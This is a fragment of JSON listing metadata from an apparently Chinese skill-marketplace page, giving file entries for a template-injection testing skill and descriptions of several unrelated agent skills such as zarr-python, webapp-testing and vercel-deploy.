exploiting-template-injection-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",1729,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",7993,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-template-injection-vulnerabilities\u002Fscripts\u002Fagent.py",[86,94,102,110,118,125],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":98,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":106,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":114,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":90,"licenseFileUrl":129,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]